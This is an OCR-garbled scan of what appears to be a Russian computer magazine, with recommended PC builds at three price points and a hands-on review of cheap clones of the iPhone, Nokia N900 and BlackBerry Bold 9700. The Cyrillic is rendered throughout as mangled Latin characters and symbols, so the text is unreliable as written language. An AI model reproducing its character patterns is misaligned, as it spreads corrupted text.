NVIDIA GeForce GTX 260 

NHTerpnpoBaHHan 


MHTerpnpoBaHHan 
SATA (1 T6aMT), 7200 o6./mmh. 
Blu-ray (KOMdnHnpoBaHHbin) 


MATEPHHCKAfl 

flJlATA 


ohepatubhah 

flAMBTb 


3BYK0BA9 

flJlATA 


OnTMHECKMM 

nPMBOfl 


nrpQBOM nx 

MidiTower win FullTower, 
MOLUHOCTb finoKa miTaHHfl - 850-1000 Bt 

HnnceT Intel P55 (CPU Intel) 
win AMD 890FX + SB850 (CPU AMD) 

Intel Core i7-875K 
nun AMD Phenom II X61090TBE 

6 rfianT DDR3-1600 
(3x2T6anT) 

NVIDIA GeForce GTX 480 
nnn ATI Radeon HD 5970 

ASUS Xonar D2X 


nHTerpnpoBaHHan 

SSD (32-120 r6anT) + 
SATA (2 Tdafrr), 7200 od./MnH. 

Blu-ray (KOMdnHnpoBaHHbin) 


CpeflHflfl po3HnHHan ueHa, py6.: ' : v 

■R« CpeflHnn po3HnHHan ueHa, pyd.: lllfmi 

HfeHlM CpeflHnn po3HnHHan ueHa, pyd.: 

AO 10 000 

AO 30 000 

AO 80 000 


Kan Bbi6paTb onimvia/ibHyio KOHtyi/irypaiimo V1K? 

fljia BLl6opa OnTHMaJILHOH KOH(J)HrypaL(HH CHCTeMHOTO 
6jiOKa cjieflyeT 3apaHee onpeflejiHTbCH c Skwkctom h 
H a3HaneHHeM 6y#ymero KOMnbiOTepa. 

OcjDHCHblH nK nOAXOAHT £JI5I pa60TbI B TeKCTOBbIX 
pe^aKTOpax, ojieKTpOHHbix Ta6jrau;ax, 6a3ax ^aHHLix, 
C03AaHHH npe3eHTau;HH, no^roTOBKH pa3JiHUHbix a o- 
KyMeHTOB, BOCnpOH3BefleHH5I My3BIKH H HeKOTOpBIX 
(JiopMaTOB BHfleo, flocTyna b MHTepHeT h HeTpe6oBa- 
TejiBHBix nrp. TaKHe KOMnbiOTepBi noTpe6jiHK)T Majio 
3JieKTp03HepmH h npaKrauecKH 6ecmyMHBi. K TOMy xe 
CTOHMOCTb OCjDHCHOTO HK MHHHMaJIbHa. 

MyjiBTHMeAHHHLiH KOMnbiOTep npeAHa3HaueH ajih 
peineHHn 6ojiee mnpOKoro Kpyra aa^an, b KOTOpbie bxo- 
Ah t BOcnpoH3Be^eHne burqo CTaH^apTOB HD n Full 
HD, pa6oTa b ay^no- n rpacjDHuecKHx pe^aKTOpax, 
coBpeMeHHbie TpexMepHbie nrpbi n Apyrne BHpTyajib- 
Hbie pa3BjieneHHH. YMepeHHoe 3HepronoTpe6jieHne 
Hapn^y c npneMjieMbiM ypoBHeM inyMa n cpaBHHTejibHo 
BbICOKOH npOH3BOAHTeJIbHOCTbK) AeJiaiOT 3TOT TMn 
cncTeM otjihhhbim pemeHHeM ajih AOMa. TaioKe Myjib- 
THMeAHHHbie nK OTJIHUaiOTCil OnTHMaJIbHbIM COOTHO- 
nieHneM u;eHbi n xauecTBa. 

HrpOBon nK paccuHTaH b nepByio ouepeAb Ha bbico- 
KyiO npOH3BOAHTeJIbHOCTb B CaMbIX COBpeMeHHbIX H 
6oraTbix Ha cneija^xjDeKTbi nrpax. Oh 6e3 Tpyaa cnpa- 

BHTCH C 0(J)HCHbIMH npHJIOXeHHHMH H MyjIbTHMeflHH- 


HbiMH aa^anaMH, o^HaKO b 3tom cjiyuae BaM npH^eTcn 
MHpHTbCH C BbICOKHM ypoBHeM inyMa H cepbe3HbiM 
3HepronoTpe6jieHHeM. 

B Ta6jiHiie npeACTaBjieHBi onTHMajibHbie KOH(J)Hrypa- 
h,hh Tpex TnnoB CHCTeMHbix 6 jiokob. npH Bbi6ope KOH- 
KpeTHoii Mo^ejm cjie,ayeT yuHTbiBaTb ee xauecTBO, cto- 
HMOCTb, KOMnjieKT nOCTaBKH H rapaHTHHHblH cpoK. 
XopOHIHM OpHeHTHpOM M03CeT CJiyXHTb npoAyKijHH 
HMeHHTbix 6peHAOB: KpynHbie, npOBepeHHbie BpeMe- 
HeM KOMnaHHH, KaK npaBHjio, He npOH3BOAHT HeKane- 
CTBeHHbie KOMnjieKTyiomHe. am? 


Intel X25-Extreme SATA SSD (32 l"6aMT) 

3tot 2,5-flKDMMOBbm SSD AB/iaeTCfl caMbiM 
6biCTpbiM TBepflOTeabHbiM HaKonMTeneM Ha 
ceroflHULUHi/iM fleHb. CpeflHMe noKa3aTe/in 
CKOpOCTM HTeHI/IR l/l 3anMCM COCTaBJlRIOT 
243 m 206 M6aMT/c cooTBeTCTBeHHO 
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BbicTpaa ccbi/iKa Ha $opyM (cm. cip. 6 ) - 




20 000 


nOflflEJIKA 




OflflejiKM nonyjiapHbix civiapcfDOHOB BbimflflflT Tax we, KaK opurnHajibHbie MOfle/in, 
npn 3TOM MX B03M0WH0CTM mpa3flO LUMpe, a UeHa — B HeCKOJlbKO pa3 HMWe. Ho 3T0 
to/h^ko b TeopMM. Ha npaKTMKe cxoactbo orpaHMHMBaeTca bhgujhmm bmaom, a pacwM- 
peHHaa cfDyHKUMOHajibHOOTb He noflpa3yiyieBaeT HMnero cromnero. llpaBfla, OflHa M3 
npoTecTMpoBaHHbix Haivm noflflejiOK Hen/ioxo cnpaBJiaeTca co cbommm 3aflanaMM, 
ho Bee we ee TpyflHO Ha3BaTb CMapTcjDOHOM. 
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HBJ? TECTbl M 0E30Pbl CMapTCpOHbi 


M bi pemiuiH npOBepHTb, uto 
npeACTaBjiHiOT codon no#- 
AejiKH Tpex nonyjiHpHBix 
CMapT(|)OHOB, AOCTynHBie 

Ha pBiHKe, — SciPhone 
9i+++ (kjioh iPhone 3G) ctohmoctbio 
MeHee 2000 pydjieii, BlackBerry Bold 
9700, odoineAinancii HaM b 4400 py6- 
jieft, h Nokia N900, 3a KOTOpyio npn- 
mjiocB bbijiOvKhtb 5600 pyGjien. 

Kaxymnecn npenMynjecTBa KHTaft- 
ckhx 3p3aiieB He orpaHHUHBaiOTCii 
flemeBH3HOH. Ecjih BepHTB o6nmp- 
hbim onHcaHHHM, AOCTynHBiM y npo- 
AaBiaoB, ohh odjia^aiOT HaMHoro 6o- 
Jiee IHHpOKOH (JjyHKLtHOHaJIBHOCTBIO , 
HeacejiH opHmHajiBi. Tax, cymecTBeH- 
hoh ocodeHHOCTBK) HBjineTcn nofl- 
Aepxoca ^Byx SIM-xapT. 

B KOMnjieKTe co BceMH npnodpeTeH- 
hbimh HaMH nofluejncaMH npe^Jiarajiacb 
3anacHan daTapen. IIoxajiyH, Bee, kto 
aKTHBHO HcnojiB3yeT TejiecjDOH fljra npo- 
CJiyniHBaHHH My3BIKH, 3HaiOT, KaK 
MHOrO 3HaHHT HaJIHUHe AOnOJTHHTeJTb- 
Horo HCTOHHHKa OHepran, HanpHMep, 
b nyremecTBHH. KpOMe Toro, BMecTe 
c kjiohom Nokia mbi nojiyumiH npax- 
THHeCKH 3KCKJII03HBHBIH UeXOJI, K Sci- 
Phone npHjiarajTCH cmryc, a b Konnio 
BlackBerry Gbiji BCTpoeH TB-TK)Hep. 


Ho nocjie BKjnoneHHH ycTpoucTB mbi 
oneHb GbiCTpo pa30uapOBajiHCB. 

Kjioh iPhone: He Tax y>K ruiox 

nepBoe OTjiHHHe ot opHmHajia npOHB- 
jineTcn eme ro BKJiioueHHH : utoGbi BCTa- 
bhtb b SciPhone SIM-xapTy hjih KapTy 
naMHTH microSD, HeoGxo^HMO chhtb 
K opnyc. B npmmHne, 3 to HecjioxHan 
3aflana, ho b cjiyuae c kjiohom cjie^yeT 
npOilBJIHTb MaKCHMaJIBHyiO OCTOpOJK- 
hoctb: BMecTe c tbijibhoh ctchkoh 
jierxo OTOpBaTb npHKpeiuieHHyio He- 
CKOJIBKHMH BHHTaMH K KOpnyCy yCTpOH- 
CTBa iuiacTHHKy, KOTOpan npaKTHue- 
ckh jiexHT Ha ojieKTpoHHKe. B nepBbiii 
pa3 mbi CMorjiH H36e3caTB npodjieM, a 
BOT BO BTOpOH KpBIIHKa OTOpBaJiaCB H 
BBinaji BHceBniHH Ha npOBO^Ke xycox 
iienn, Be^ymeii k xiaBHine tpomkocth. 
Ha noMonib npnmeji Kieh, h KaTacT- 
pocjia Gbuia npe^OTBpameHa. 

npH 3anycKe ycTpoiicTBa pa3AaeTC5i 
cnmaji, xoponio 3HaKOMBLH Bjia^ejiB- 
ijaM iPhone. Oh Ha3BiBaeTcn Marimba 
h b opnrHHajiBHOM CMapTcjioHe ycTa- 
HOBjieH no yMOJinaHHio. Cpa3y nocjie 
CTapTa MOvKHO oueHHTB eme o#Hy oco- 
GeHHOCTB SciPhone, KOTOpan Tax Hpa- 
BHTCH MHOTHM! flOCTaTOUHO TpHXHyTB 
annapaT, utoGbi CMeHHTB o6oh pa6o- 
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Bnp>KeB0 M mo fly Jib B pnfle H3biK0Bbix JioKa- 
ji 1/133141/1 m SciPhone b HacipoMKax 6np>KeBbix 
coo6mem/m mo>kho CTO/iKHyTbCfl c KmaMC- 
kmmu neporp0aMn 

nero CTOJia hjih nepeHTH k cjie,ay- 
romeH My3BIKaJIBHOH K0Mn03HI4HH 
npH npocjiymHBaHHH MP3-(J)aHjiOB. 
no 3aBepmeHHH npou;ecca 3arpy3KH 
nouBjHieTcn MeHio, oueHB noxoacee 
Ha to, hto HMeeT MecTO b iPhone. 
Ho ^aace Genioro Barjih^a floCTaTon- 
ho, utoGbi y3HaTB noA^eJiKy. flejio 

B TOM, HTO 3KpaH HMeeT Upe3BBIHaH- 
ho HH3Koe pa3pemeHHe, no3BOjraio- 
mee 6e3 Tpyzja pa3JiHuaTB OTflejiBHBie 
nHKcejiH. A npH nonbiTKe 3acTaBHTB 
padoTaTB xoTn 6 bi o^hh H3 MOAyJieii 
CTapTOBoro MeHio Hac nocTHrjio Ha- 
CTonmee pa3onapOBaHHe. Boodme, b 
TexHHnecKOM OTHomeHHH SciPhone 
MOvKHO cpaBHHBaTB pa3Be hto c o6bih- 
hbimh Tejie(J)OHaMH, npimeM BBinycKaB- 
TTTHMHCH MHOTO JieT Ha3aa, HO HHKaK 
He C COBpeMeHHBIMH CMapT(J)OHaMH. 
Hero ctoht xoth 6bi (JiOTOKaMepa, cno- 
codHaa aejiaTb chhmkh p npeaejTBHbiM 
pa3pemeHHeM 640x480 ToneK, to ecTB 
Bcero 0,3 MeranHKcejin. 

Eme oaho OTjiHHHe ot iPhone — 
MaKCHMajiBHBiii pa3Mep H3o6paxce- 
hhh, c KOTopbiM cnocodeH padoTaTB 
annapaT: y SciPhone 3 tot napaMeTp 
cocTaBjineT Bcero 1024x768 ToneK. 
KpOMe toto, Gbictpo oGHapyxHBa- 
eTcn, hto ceHCOpHBiii 3KpaH He nofl- 
AepxcHBaeT TexHOJiornio Multitouch. 
B cjiynae c iPhone yBejiHUHTB H30- 
GpajKeHHe mojkho flByMH najibijaMH 
c noMombio oflHoro GbiCTporo xcecTa, 
a Ha SciPhone hcoOxoahmo nepeMe- 
inaTB najieu; no AnaroHajin AHcnjien 
CBepxy bhh 3 (ABHxeHHe b npoTHBono - 
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jiOvKhom HanpaBjieHHH no toh xce Tpa- 
eKTOpnn yMeHbmaeT H3o6paxeHne). 

C HHTepHeTOM RQjia. oGctoht enje 
xyxce. HpaBAa, HaM Bce-TaKH yaajrocb 
HaCTpOHTb nOJIHOCTbK) aBTOMaTnuec- 
Koe noAXjnoueHne. JXim OToro Hy*HO 
3anpocHTb Ha cairre onepaTOpa koh- 
(jmrypnpyioiAee SMS-cooGnjeHne, yxa- 
3aB MoaejTb Tejie(})OHa. Pa3y^eeTcn, b 
cnncKe AOCTynHbix BapnaHTOB OTcyr- 
CTByeT SciPhone, a Bbi6op iPhone He 
Aaer xcenaeMoro pe3yjibTaTa. B xoHen-^ 
HOM HTOre MbI BbIHCHHJTH, HTO JUW aBTO- 
MaTnnecKon HacTponxn noAXjnoueHHH 
Ha SciPhone Hy*HO 3a^aTb b xauecT- 
Be Mo^ejiH Nokia 2630. 

nOCJie KOH(J)HrypHpOBaHHH nOAKJHO- 
neHHH oOHapyxcHjiHCb eme ABe He- 
npHHTHbie 0 C 06 eHH 0 CTH HOAfleJIKH. 
Bo-nepBbix, OHa noAAep^HBaeT tojib- 
ko TexHOJiormo GPRS, to ecTb cxo- 
pocTb nepe^ann AaHHbix orpaHnueHa 
40 k6ht/c. Bo-BTOpbix, ajih cepcjiHHra 
npeAHa3HaneH 3X30TnuecxnH 6pay3ep 
Maui WAP HecMOTpn Ha Ha3BaHne, 
oh cnocoOeH paGoTaTb xax c WAP, 
Tax h c HTML, ho TOJibxo 6e3 nc- 
nojib30BaHHH CKpnnTOB. B pe3yjibTaTe 
HaM He yaajiocb xoppexTHO 3arpy- 
3HTb Aaxe MoOnjibHyx) Bepcmo caiiTa 
Google (http://rn.google.ru). npoG- 
jieMy moxcho peniHTb nyTeM ycTa- 
hobxh HanncaHHoro Ha Java 6pay3e- 
pa Opera Mini 3.0, xoTOpbin paGoTa- 
eT ropa3flo jiyurne. 

BnponeM, HecnpaBeAJiHBO 6buio 6bi 
roBOpHTb TOJibxo o HeAOCTaTxax Sci- 
Phone. HanpnMep, BCTpoeHHbin b Hero 


iPhone npoiuB SciPhone C/ieBa — opnrnHa/ib- 
Hoe MeHio iPhone, cnpaBa — noAAe/iKa. I/Ikohkm 
BbimaAm npaKTunecKM oAHHaKOBo, ho pa3Hi/ipa 
3aMeTHa HeBoopy>KeHHbiM r/ia30M. Bceiviy bi/ihom 
oneHb h n3Kan paspewafomafl cnoco6HocTb 

MP3-njieep paGoTaeT oueHb Henjioxo, 
npHneM 3to xacaercH He tojibxo boc- 
npOH3BefleHHH My3bixn, ho h ee 3arpy3- 
xh b TejiecjDOH. O 6 jt aaaTeJT h m iPhone 
6e3 A>K3hji6pehxa He oGohthcb 6e3 
ncnojib30BaHHH iTunes. C 3toh tomxh 
3peHnn SciPhone npocTO o6pa3en; 
3pr0H0MHHH0CTH: AOCTaTOHHO BCTa- 
bhtb b Hero xapTy micro SD oGbcmom 


AO 4 T6anT n noAxniouHTb annapaT 
x nK nocpeACTBOM USB-xaGejra. Cnc- 
TeMa HeMeAJieHHO oGHapyaorr ABa ahc- 
xa — AOCTynHyx) naMHTb TejiecjioHa (b 
H ameM cjiynae OHa cocTaBjineT Bcero 
233 xGairr) h xapTy microSD. BaM 
HyxcHo tojibxo nepeHecTH cboh MP3- 
(J)anjibi Ha nocjiejiHioK) — n MO>KeTe 
HacjiaxcaaTbcn My3bixoh. 

C yneTOM Bcex nepenncjieHHbix oco- 
GeHHOCTen mojkho 6bmo 6bi oxcnAaTb 
pexoMeHAaiinn B03Aep3caTbcn ot no- 
xynxn 3toto noAAeJibHoro iPhone. Ho 
CHTyaiinio cnacaeT ero ijeHa: annapaT 
c noAAepxcxoH AByx SIM-xapT n He- 
tuioxhm MP3-njieepOM npeAJiaraeTCH 
MeHee ueM 3a 2000 pyGjieii. A nocne 
HHCTajunmnn Opera Mini Be6-cep(J)HHr 
Taxjxe CTaHeT BnojiHe xoM(})opTHbiM, 
xotb n He oneHb GbierpbiM. Oahhm 
CJIOBOM, 3TO He CaMblH HJIOXOH BblGop 
3a cboh A^Hbrn, ecjin He 6paTb b pacneT 
cyryGo BHemHee cxoactbo c iPhone. 

noflflenKa Nokia N900: 

TMXMM y>Kac 

Ha_ nepBbin b3tjhia a aHHan noAACJi- 
xa npOH3BOAHT BnenaTjieHne HAeajib- 
hoh xonnn. npnueM peub hact He 
npOCTO 06 hachthhhom AH3aiiHe — Ha 
xjiOHe N900 npHcyrcTByiOT Aaxe -*• 


Nokia N900 

BHeilJHe 3 T 0 T 
“kjioh npaK- 
TMHeCKl/l He 
OTJlI/IHaeTCfl 0 T 
opnrMHajibHoro 
CMapT0OHa. Pa3- 
J1HHI/IB 3aKJHO- 
naiOTcn b He- 
CKOJlbKO WHOM 
noroTMne m KHon- 
Ke Ha aeBOM 6o- 
koboh naHe/iH 


HA3BAHI/IE: NOKIA N900 

BblflAET CEBfl 3A: NOKIA N900 

n/ioxo 
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HB3? TECTbl M 0E30Pbl CMapTCpOHbi 



3 apemcTpHpoBaHHBiH jioroTHn (J>hh- 
CKoro KOHijepHa h a 6 cojnoTHO TaKoe 
xe o 6 o 3 HaHeHHe moacjih, xax h Ha 
opnmHajie. KpOMe.Toro, npn BxniOHe- 
HHH nOAaeJIKa BOCnpOH 3 BOAHT aHHMH- 
poBaHHyio 3 acTaBKy «Nokia. Connec- 
ting people» — coeAHHeHne AByx pyx 
Ha 4 >OHe jioroTHna Nokia, conpOBOxc- 
aaiomeecH y3HaBaeMbiM My3BiKajiBHBiM 
mothbom. Ilocjie ctojib MHoroodenja- 
lomero BCTymieHHH nouBjineTCH CTap- 
TOBBIH OKpaH C KHTaHCKHMH HaAnHCH- 
mh b OKpyaceHHH HAeajiBHo noAAe- 
JiaHHBIX HKOHOK. 

IlepBoe, hto 6pocaeTcn b rjia 3 a,— 
3Toy3cacHaHjiOKajiH3au;HH. Y SciPhone 
OHa Taxxe ocTaBjmeT xejiaTB jiyn- 
mero, ho He b Taxon CTeneHH. Ha- 
npHMep, y noAAeJiBHoro iPhone bbi- 
3 BiBaeT HeAoyMeHHe Ha 3 BaHHe xHon- 
kh ajm aKTHBai^HH Bluetooth: BMecTO 
«Bxjhohhtb» hjih nero-TO noAodHO- 
ro OHa o6o3HaueHa xa k «Cnjia». 
OneBHAHO, 3 to cjieACTBHe aBTOMa- 
THnecxoro nepeBOAa aHrjiOH 3 BiHHoro 
BbipaxceHHn «Power On». KpOMe toto, 
cjiynaiiHO HaxaB Ha nxoHxy npnjio- 
xceHHn AJin nojiyneHHH dnpxceBOH 
HH(J)opMau;HH, bbi cpaay noTepneTecb 
B 06HJIHH XHTaHCXHX CHMBOJIOB. Ho 
npH 3 TOM OCHOBHBie HaBHTaAHOHHBie 


K/ioh iPhone I 
Menee 4eM 3a 
2000 py6neM — | 
HennoxoM Bbi6op 


xjiaBHiHH ocTaiOTcn Ha cbohx MecTax, 
Tax hto BepHyTBcn x npHBBiHHOMy 
HHTep(})eHcy HeTpyAHO. 

Y xjiOHa Nokia jioxajiH 3 aiiHH bbhioji- 
HeHa ropa 3 AO xyxe. IIo cym, oh pycn- 
(J)HAHpoBaH jihihb uacTHHHO. Bojiee 
toto, Aaxce nocjie cmchbi H 3 Bixa Ha 
aHrjiHHCXHH npn 3 anycxe MOAyjm 
«Maps» («KapTBi») mo>kho 6 yxBajiBHO 
yroHyTB b Mope HeporjiHcjiOB, npiraeM 
He nojiynaeTcn a axe OTBicxaTB bbixoa 
H 3 3 toto pa 3 Aejia — no xpaHHeii Mepe, 
HaM 3 to Tax h He yAajiocb. A6 cojhotho 
Bee HaAnncH 3 accb OTodpaxcaiOTcn Ha 
xHTancxoM, HecMOTpn Ha 3 aAaHHBiH 
B HaCTpOHXaX aHTJIHHCXHH H 3 BIX. 

Ilocjie 3 toh HenpHHTHOCTH mbi no- 
HaAenjiHCB, mo caMoe CTpaniHoe yxce 
no 3 aAH, ho Ham onTHMH 3 M oxa 3 ajicn 
npe^AeBpeMeHHBiM. Ebierpo bbihchh- 
jiocb, hto annapaTHan cocTaBjraiomaa 


ycTpohcTBa He HMeeT HHuero odmero c 
opHTHHajiOM. HanpHMep, (J)OToannapaT 
noAAejixH o 6 jiaAaeT TaxHM ace pa 3 peme- 
HHeM, xax h y npeABmymero xjiom, — 
Bcero 0,3 Meranuxcejin, a TexHOJioran 
Multitouch He noAAepxcn BaeTca . Boo 6 - 
me, npn TecTHpoBaHHH 3toto ycTpoft- 
ctbu y Hac HepeAxo B 03 HHxajio omyme- 
HHe, HTO B HeM HCn 0 JIB 30 BaHBI Te ace 
annapaTHBie MOAyJin, hto h b SciPhone. 
OinacTH 3to noATBepAHJiocb npn 6 ojiee 
6jih3xom 3 HaxoMCTBe c ero OC: npH 
nepexoAe co erapTOBoro oxpam nojib- 
30 BaTeJIB BHAHT MeHK), BBinOJIHeHHOe B 
CTHjie Nokia, ho nocjie BBi 6 opa oahoto 
H 3 nyHXTOB OTXpBIBaiOTCH noAMeHio, 
xoTOptie xax a Be xaiuin boabi noxoacn 
Ha Te, hto HMeiOT MecTO b SciPhone. 

3aTeM mbi nonbiTajiHCB pa3o6paTBCH 
c HacTpohxoH HHTepHeTa. Ha 3 tot pa3 
HaM CHOBa noAonuio KOHcJmrypHpyio- 
mee SMS ajih TejiecjiOHa Nokia 2630, 
oGecneHHBinee AOCTyn b BioGaabHyio 
ceTB. npaBAa, xax h b npeAbiAymeM 
cjiynae, b HameM pac n opaace h n n oxa- 
3ajiocb tojibxo GPRS-coeAHHeHHe. npH 
nonbiTxe otxpbitb ModmibHyx) Bepcmo 
yxpaHHexoro canra Google Ha CTpaHuue 
OTo6pa3HjiHCB xHTaitcxHe pexoMeHAa- 
UHH. HHOTAa BeCBMa HeoGblHHO BBITJIH- 
AeJIH H pyCCXOH3BIHHBie HOBOCTHBie 
CaHTbl. npH 3TOM nepHOAHHeCXH nOHB- 
jiiuiocB cooOmeHHe: «Hact coeAHHeHHe 
c cepBepOM. OxcHAanre...^ nocjie acch- 
THMHHyTHOTO npOCTOH MBI peUIHJIHCB 
npepBaTB coeAHHemie h nonpodoBarm 
ycTaHOBHTB ero CHOBa, ho pe3yjn>TaT 
oxa3ajicn ctojib ace HeyremHTejiBHBiM. 

npH 3 TOM CTOHT OTMeTHTB OCOdeHHO- 
CTH BBOAa CHMBOJIOB B BAPCCHOH CTpOXe. 
Ero MOvKHO ocymecTBjiHTb TpeMH cnoco- 
6 aMH. CaMBIH JIOTHHHBIH — C nOMOUIbK) 
BbiABHraiomeHCH xjiaBHaTypbi. 3 tot Ba- 
pnaHT AciiCTBHTejiBHO 6 bui 6bi Handojiee 
yAoOHBiM, ecjin 6 bi He HepadoTaioinaa 
xjiaBHma co 3 HaxoM tohxh. Btopoh cno- 
co 6 Hadopa TexcTa — nocpeACTBOM ceH- 
copHoro HHTep 4 )eiica. 3 Ta nonbiTxa 
Toxce He yBeHHajiacB ycnexoM, nocxojib- 
xy BHpTyajiBHBie juia bhuih oxa 3 ajiHCB 
cjnimxoM MajieHBXHMH (xax, xcTara, h 
y SciPhone), hto o 6 ycjiaBjiHBaer orpOM- 
Hoe xojiHnecTBO omnOox. HaxoHeA, 
BOCnOJIB 30 BaBmHCB CTHJiyCOM, MBI BCe 
xce cnpaBiuiHCB c 3 aAaneH. 

nonbiTxa ycTaHOBHTB 6 pay 3 ep Opera 
Mini 3 aBepmnjiacB noHBjieHHeM coo 6 - 
meHHH o HexBaTxe naMHTH. Ho caMaa 
Gojibrnan npoGjieMa B 03 HHxra npn noA- 
xjHoneHHH noAAeJiBHoro CMapTcjiOHa x 


Nokia N900 Ha BepxHeM cKpMHUJOTe — MeHio 
opnrnHa/ibHoro CMapic|30Ha, Ha Hi/i>KHeM — 
noflAe/ibHoro. Bmaho, hto kjioh Henooxo Konn- 
pyeT cJri/ipMeHHbie nMKTorpaMMbi Nokia 

xoMnbiOTepy. npn noACoeAHHeHHH c 
noMOiABio USB-xa6ejm annapaT 3apn- 
xcajicn, ho Windows 7 He pacno3HaBajia 
hh ero BCTpoeHHyio naMHTB, hh xapTy 
microSD. Mbi noBTOpHJin nonbiTxy c 
ApyrHMH OC ot Microsoft — XP h 
V ista, a Taxxe pa3JiHHHBiMH xapTaMH 
naMHTH (odbeMOM ot 1 ao 4 r6aHT), 
ho 3 to He Aajio pe 3 yjiBraTOB . 

TaxHM o 6 pa 30 M, xyiuieHHBiii hamh 
xjioh Nokia N900 npOAeMOHCTpHpo- 
Baji noAAepxcxy tojibxo caMBix npoc- 
tbix TejiecjDOHHBix (JiyHxuHH. Hacjia- 
AHTBCH MyjIBTHMeAHHHBIMH B 03 M 0 XC- 

hocthmh HaM He yAajiocb, Tax xax mbi 
H e cmotjih nojiyHHTB AOCTyn x naMHTH 
ycTpohcTBa. C yneTOM HecnocodHOCTH 
HopMajiBHO padoTaTB b HHTepHeTe h 
AOCT aTOHHO 3BIC0X0H CTOHMOCTH Ham 
BepAHXT OAH 03 HaneH : GTa noAA^Jixa 
He 3 aCJiyJKHBaeT BHHMaHHH. 

3p3au BlackBerry Bold 9700i 

rpoMKMM npoBan 

Kax h b cjiynae c xjiohom Nokia, nep- 

BBIM HyBCTBOM npH 3 HaXOMCTBe C 3 THM 
npOAyxTOM HBjmeTCH HeyBepeHHOCTB 
b tom, hto 3to noAACJixa. Kopnyc, 
pacnojiojxeHHe xjiaBnm, 3 xpaH, 060- 
3 HaneHHH (b tom nncjie h 3 aperncTpH- 
pOBaHHBie ToproBBie Mapxn Black- 
Berry) — BCe nOJIHOCTBIO COOTBeT- 
CTByeT OpHTHHaJiy. EAHHCTBeHHOe, 
HTO MOXCeT BBI 3 BaTB noA 03 peHHe, — 
nepHan Tonxa HaA 3 xpaH 0 M, xoTOpon 
HeT y HacTonmero BlackBerry Bold 
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9700. Hmchho 3AecB y KjiOHa cnp n- 
TaH KOHeu; TejiecKomraecKOH aHTeH- 
hbi fljiii npneMa TejieBH3HOHHBix cht- 
HaJIOB Ha BCTpOeHHBIH TB-TK)Hep. 

Mtl C 3HTy3Ha3MOM B3HJIHCB 3a TeCTH- 
pOBaHHe, ho, k coacajieHHio, Majio hto 
M oxeM paccKa3aTB 06 3 toh no,zmejiKe, 
HaCTOJIBKO HeKaHeCTBeHHOH OHa OKa- 
3ajiacB. A6 cojhotho Bee Hanm Aeii- 
CTBHH 6BIJIH COnpJDKeHBI C KaKHMH-TO 
npoOjieMaMH. 

CHanajia HaM aojito ne yaaBajiocB 
nojiHOCTBio 3apBAHTB daTapeio Tejie- 
(J)OHa, HO B KOHIje KOHLIOB MBI C 3THM 
Cnp aBHJIHCB . npH BKJHOHeriHH yCTpOH- 
ctbo CHOBa Hac yAHBKJio. 3a3Bynajia 
HenpHBBIHHaH MeJIOAHH, nOTOM nOHBH- 
jiacB CTapTOBan 3acTaBKa, to ace He 
COOTBeTCTByiOman OpHTHHaJIBHOH, HO 
3KpaH, B03HHKHIHH nocjie 3anycKa, 
BBintH^eji tohho Tax ace, KaK y HacToa- 
mero BlackBerry Bold 9700. Bbccth 
PIN-KOA RJW pa36jIOKHpOBKH SIM- 
KapTBI MBI CMOTJIH c noMomBio KjiaBna- 
TypBi. O^HaKO KjiaBHiny «Enter» 3aAeii- 
CTBOBaTB He yflaBajiocB: nocjie BBOAa 
neTBipex i3H(})p Ha Ancmiee hobbhjihcb 
AB a BapnaHTa — «OK» h «Cancel», 

BBJHHOmHeCH HaCTBK) KOHTeKCTHOTO 
MeHK) (y OpHTHHaJIBHOikMOAeJIH BBOA 

PIN conpoBox^aeTCii HMeBjjo Haaca- 
THeM Ha «Enter»). He pa60TajiH/6 
neTBipe BepxHHe khohkh KjiaBHaTypBi. 
HaM ocTaBajiocB tojibko npHGemyTB 
noMomH crajiyca, ho npH nonBiTKe 
H3BjienB ero noAAeJiKa npocTO nepe- 
CTajia paOoTaTB. 

KOHeHHO, mbi nonBiTajiHCB peaHHMH- 
pOBaTB annapaT, ho Bee Hanm ycnjiira 
He yBeHnajiHCB oco6bim ycnexoM. He 
noMorjiH hh 3aMeHa daTapen, hh noA- 
KjHoneHHe k 3apAAHOMy ycTponcTBy. 
Pe3yjiBTaT Aajio tojibko HenocpeA- 
CTBeHHOe (J)H3HHeCKOe B03AeHCTBHe Ha 
Kopnyc Tejie4>OHa: mbi CTajin HaacHMaTB 
Ha Hero b pa3HBix MecTax. Bbihchhjiocb, 
hto, Koraa nofluejiKa jieacHT Ha CTOJie, 
CHjiBHoe flaBjieHHe b oGjiaera nepe- 
ceneHHB BTOporo ropH30HTajiBHoro 
pnaa KHOnOK C TpeTBHM BepTHKaJIB- 
HBIM HHOTfla npHBOflHT K BpeMeHHOMy 
MHraHHio 3KpaHa. nocjie 3toto mbi 
MaKCHMaJIBHO ACJIHKaTHO HaaCHMaJIH 
Ha KJiaBHHiy BKJIIOUeHHH nHTaHHH, H 
OAHa H3 AecHTH nonBiTOK pecTapTa 
3aBepniHjiacB yAaueir. Ho Tax AaJieKO, 
xax b nepBBra pa3, npoijecc 3arpy3KH 
He npOABHHyjicn: Tejie(J)OH bbikjhohhji- 
C5I 3a MTHOBeHHe AO nOHBJieHHH Ha 

3KpaHe npocB6Bi bbccth PIN-koa. 


KOTAa CTaJIO nOHHTHO, HTO HaM BpAA 
jih yAacTCH 3acTaBHTB noAAeJiicy pa6o- 
TaTB, y Hac OKa3ajiocB ABa BapnaHTa 
AajiBHeHiHHx aohctbhh — nonBiTaTB- 
cb odMeHBTB HencnpaBHBiH annapaT y 
npOAaBiaa c pBiHKa hjih BOcnojiB30- 
BaTBCB cjiynaeM h npOH3BecTH «bckpbi- 
THe». JIlodonBITCTBO CKJIOHHJIO Hac B 
nojiB3y nocjieAHero, h HauaTB mbi 
peniHjiH c aHTeHHBi rjir npneMa 
TB-cnmajia. BBiTanjHTB ee npn no- 
moiah najiBijeB He yAaBajiocB, h mbi 
B0Cn0JIB30BaJIHCB OTBepTKOH, HTOGbI 
cjierKa pacKOBBipBTB njiacTHK h pac- 
HIHpHTB OTBepCTHe. B KOHIje KOHIJOB 
aHTeHHa noAAajiacB h BBuie3Jia Ha- 
pyacy. Bojiee toto, OHa Aaace npaBHjiB- 
HO paCKpBIJiaCB, H 3TO CTaJIO HaiHHM 
eAHHCTBeHHBIM yCneXOM, CBH3aHHBIM 
C AaHHOH nOAAOJIKOH. 

BbiflejiMTbCii 3afleuieB0 

H 3 Tpex npnoGpeTeHHBix HaMH kjiohob 
nonyjiBpHBix CMapTcjjOHOB HaM yaajiocB 
npoTecmpoBaTB tojibko ABa — Nokia 
N900 h SciPhone. nepBBiii OKaaajica 
